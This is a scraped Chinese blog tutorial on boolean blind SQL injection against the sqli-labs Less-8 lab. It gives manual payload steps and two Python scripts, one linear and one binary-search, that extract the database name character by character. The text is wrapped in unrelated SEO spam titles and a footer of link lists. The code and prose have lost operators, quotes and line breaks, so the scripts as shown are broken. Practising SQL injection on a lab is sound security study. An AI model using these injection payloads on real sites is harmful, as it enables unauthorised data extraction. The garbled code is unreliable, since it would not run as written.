当前位置: 首页 > news >正文

wordpress查版本盘锦网站优化

wordpress查版本,盘锦网站优化,怎样做易支付网站,wordpress用户名和密码目录 盲注步骤 1、进入靶场 2、如下图所示输入#xff1f;id1‘ 判断此时存在注入点 3、判断列数 ​编辑 4、开始盲注 普通的python脚本 代码思想 结果 二分查找python脚本 二分查找算法思想简介 二分查找与普通查找的主要差距 代码思想 代码 结果​编辑 下面以…目录 盲注步骤 1、进入靶场 2、如下图所示输入id1‘ 判断此时存在注入点 3、判断列数 ​编辑 4、开始盲注 普通的python脚本 代码思想 结果 二分查找python脚本 二分查找算法思想简介 二分查找与普通查找的主要差距 代码思想 代码 结果​编辑 下面以sql_labs靶场第八关来理解一下bool盲注 盲注步骤 1、进入靶场 2、如下图所示输入id1‘ 判断此时存在注入点 3、判断列数 列又3变为4时You are in.....消失说明存在三列  4、开始盲注 然后我们可以开始进行注入可以使用substr函数对数据库名进行猜测。对substr切割出来的字符进行一个ascli编码然后和ascli编码比较根据结果确定数据库的名称 如下图当你测试到115时图中会显示You are in... 然后可以调整sql语句直到找到database()的名字但是如果手动一个个的话要花费的时间太久了所以我们编写一个python脚本来进行盲注 普通的python脚本 代码思想 创建一个字符集然后数据库的每个位置的字符和字符集中的字符进行比对若两者相等则字符集中字符存入dataname中最终显示dataname 代码 # 白大黑 # 开发时间$[DATE] $[TIME] import requests def get_database(url):dataname # 初始化一个空字符串用于存储数据库名dict abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ #数据库名可能存在这些字段中# 循环数据库名的位置for i in range(1, 20):for j in dict:#注入语句payload 1 AND SUBSTRING((SELECT DATABASE()), %d, 1) %s-- % (i, j)# 发送请求res requests.get(url, params{id: payload})# 如果字符匹配上了屏幕会输出You are in所以可以用You are in来检测是否字符是否可以匹配if You are in in res.text:dataname jprint(dataname)breakelse:continuereturn dataname# 此处填写自己靶场地址 url http://127.0.0.1:9002/sqli-labs-master/Less-8/ db_name get_database(url)结果 二分查找python脚本 但时刚刚的脚本还不是很好它的查找速率不是很快。所以我们可以对算法进行一下优化将上面的代码中查找的算法替换成二分查找。 二分查找算法思想简介 二分法的思想很简单因为整个数组是有序的数组默认是递增的。 首先选择数组中间的数字和需要查找的目标值比较 如果相等最好就可以直接返回答案了 如果不相等 如果中间的数字大于目标值则中间数字向右的所有数字都大于目标值全部排除 如果中间的数字小于目标值则中间数字向左的所有数字都小于目标值全部排除 二分查找与普通查找的主要差距 效率二分查找的效率远高于普通查找。由于二分查找采用了分治策略每次都将查找范围缩小一半因此其时间复杂度为O(log n)而普通查找的时间复杂度为O(n)。 前提条件二分查找要求数组必须是有序的而普通查找则没有这一要求。因此在使用二分查找之前需要先对数组进行排序。 应用场景由于二分查找效率高因此适用于大规模数据的查找而普通查找则更适用于小规模数据或对数据有序性没有要求的情况。 正好我们的盲注过程符合二分查找的条件 代码思想 将要查找的字段编码成ascii码同ascii码进行比较ascii相同该ascii对应的字母就是数据库名称 同ascii进行比较的那一段换成二分法。 代码 # 白大黑 # 开发时间$[DATE] $[TIME] import requests def half(url):name for i in range(1, 20):#从空格开始 直到到~low 32high 126mid (low high) // 2while low high:payload 1 and ascii(substr(database(),%d,1)) %d-- % (i, mid)params {id:payload}r requests.get(url, paramsparams)if You are in in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name) url http://127.0.0.1:9002/sqli-labs-master/Less-8/ half(url) 结果
http://www.pierceye.com/news/801847/

相关文章:

  • 手机网站怎么开发工具网站开发中如何实现gps定位
  • sql2008做网站焦作网站建设哪家便宜
  • hao123网站源码制作2015最新仿制作链接怎么做
  • 做网站源代码需要买吗做任务得佣金的网站
  • 网站开发php还是jsp中式风格装修效果图
  • 外贸网站建设优化营销昆明网站建设加q.479185700
  • 正安网站建设推荐友情链接
  • 织梦仿asp网站石家庄市制作网站公司
  • 全国较好的网站建设公司织梦网做网站步骤
  • dedecms小说网站模板自动生成网站地图的工具
  • 中国比较好的设计网站php网站怎么做静态化
  • Dedecms手机网站源码wordpress小程序制作
  • 成都网站建设备案重庆找网站推广
  • 商务网站建设的调研wordpress 视频 全屏
  • 网站策划案例广州高端网站定制开发价格
  • 大连网站制作优选ls15227微信公众号小程序搭建
  • 个人空间网站建设报告网站建设培训哪个好
  • wap微信网站模板在线网络培训平台
  • asp网站怎么做三语网络推广计划书格式
  • 徽州网站建设企业网站备案域名信息
  • 广州建设信息网官方网站火车头采集wordpress发布
  • 易记域名网站大全火车票网站建设多少
  • 怎么将网站权重提上去怎样在网站图片做超级链接
  • 网站建设需求分析报告功能百度官方电话24小时
  • 扬州市城市建设监察支队网站做空比特币网站
  • 石家庄做网站 vtkj网站空间怎样设置用户名和密码
  • 自考网页制作与网站建设网站虚拟主机建设
  • 手机网站建站视频教程阿里云虚拟主机与网站吗
  • 孝感做招聘信息的网站鹏翔科技 网站建设
  • 阿里云 建设网站怎么样长春网站建设翻译